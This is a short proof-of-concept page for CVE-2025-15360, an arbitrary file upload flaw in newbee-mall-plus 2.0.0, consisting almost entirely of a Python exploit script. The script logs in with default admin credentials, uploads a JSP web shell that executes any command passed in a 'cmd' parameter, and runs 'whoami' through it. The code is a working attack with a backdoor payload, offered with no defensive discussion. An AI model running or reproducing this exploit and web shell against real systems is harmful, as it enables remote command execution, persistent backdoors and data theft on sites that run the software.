CVE-2025-15360 newbee-mall-plus 任意文件上传漏洞

import requests import json # CVE-2025-15360 PoC - newbee-mall-plus Arbitrary File Upload # Target: newbee-mall-plus 2.0.0 # Vulnerability: Unrestricted file upload in UploadController.java TARGET_URL = "http://target.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/login" UPLOAD_URL = f"{TARGET_URL}/common/upload" # Login with high privilege account session = requests.Session() login_data = { "username": "admin", "password": "admin123" } # Login request login_response = session.post(LOGIN_URL, data=login_data) # Prepare malicious JSP file (WebShell) webshell_content = '''<%@ page import="java.util.*,java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os=p.getOutputStream();InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>''' # Upload the malicious file files = { "file": ("shell.jsp", webshell_content, "application/octet-stream") } upload_response = session.post(UPLOAD_URL, files=files) print(f"Upload Response: {upload_response.text}") # Parse response to get uploaded file path try: result = json.loads(upload_response.text) if result.get("code") == 200: file_path = result.get("data", {}).get("url", "") print(f"Uploaded file path: {file_path}") # Execute command via WebShell cmd_url = f"{TARGET_URL}{file_path}?cmd=whoami" exec_response = session.get(cmd_url) print(f"Command output: {exec_response.text}") except Exception as e: print(f"Error: {e}")